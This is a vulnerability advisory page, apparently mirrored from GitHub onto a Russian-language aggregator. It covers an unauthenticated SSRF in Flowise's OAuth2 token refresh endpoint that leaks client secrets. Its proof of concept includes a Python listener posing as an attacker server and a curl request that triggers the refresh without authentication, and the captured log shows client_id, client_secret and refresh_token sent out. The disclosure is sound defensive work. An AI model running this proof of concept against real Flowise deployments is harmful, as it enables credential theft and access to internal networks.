Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-r745-8hwv-h473

Опубликовано: 04 авг. 2026
Источник: github
Github: Прошло ревью
CVSS4: 8.5

Описание

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist

    • dist/utils/constants.js includes:
      • /api/v1/oauth2-credential/callback
      • /api/v1/oauth2-credential/refresh
    • dist/index.js auth middleware uses:
      • const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
    • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  2. User-controlled SSRF target

    • In refresh handler (dist/routes/oauth2/index.js):
      • loads credential by credentialId
      • decrypts credential data
      • reads accessTokenUrl
      • executes:
        • axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
    • No secureAxiosRequest() / denylist wrapper is used in this path.
  3. Non-blind response reflection

    • Response returns:
      • tokenInfo: { ...tokenData, ... }
    • tokenData is the attacker/internal server response body.
  4. Secrets sent to SSRF target

    • Request body includes:
      • client_id
      • client_secret
      • grant_type=refresh_token
      • refresh_token

PoC

Environment used

  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json class H(BaseHTTPRequestHandler): def do_POST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUEST_PATH', self.path, flush=True) print('REQUEST_BODY', b, flush=True) self.send_response(200) self.send_header('Content-Type','application/json') self.end_headers() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode()) def log_message(self, fmt, *args): pass HTTPServer(('0.0.0.0', 18081), H).serve_forever() PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}'

Observed response:

{ "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echo_len": 76, "has_new_refresh_token": false } }

Attacker server logs captured:

REQUEST_PATH /token REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
    • outbound SSRF to attacker/internal targets,
    • direct leak of client_secret and refresh_token to SSRF target,
    • direct response read from target via API response (tokenInfo).
  • Deployment impact:
    • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Пакеты

Наименование

flowise

npm
Затронутые версииВерсия исправления

<= 3.1.2

3.1.3

EPSS

Процентиль: 34%
0.004
Низкий

8.5 High

CVSS4

Дефекты

CWE-639

Связанные уязвимости

CVSS3: 7.5
nvd
около 2 месяцев назад

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.

CVSS3: 8.7
fstec
5 месяцев назад

Уязвимость файла dist/routes/oauth2/index.js программной платформы для создания пользовательских интерфейсов поверх языковых моделей (LLM) Flowise, позволяющая нарушителю осуществить SSRF-атаку и раскрыть защищаемую информацию

EPSS

Процентиль: 34%
0.004
Низкий

8.5 High

CVSS4

Дефекты

CWE-639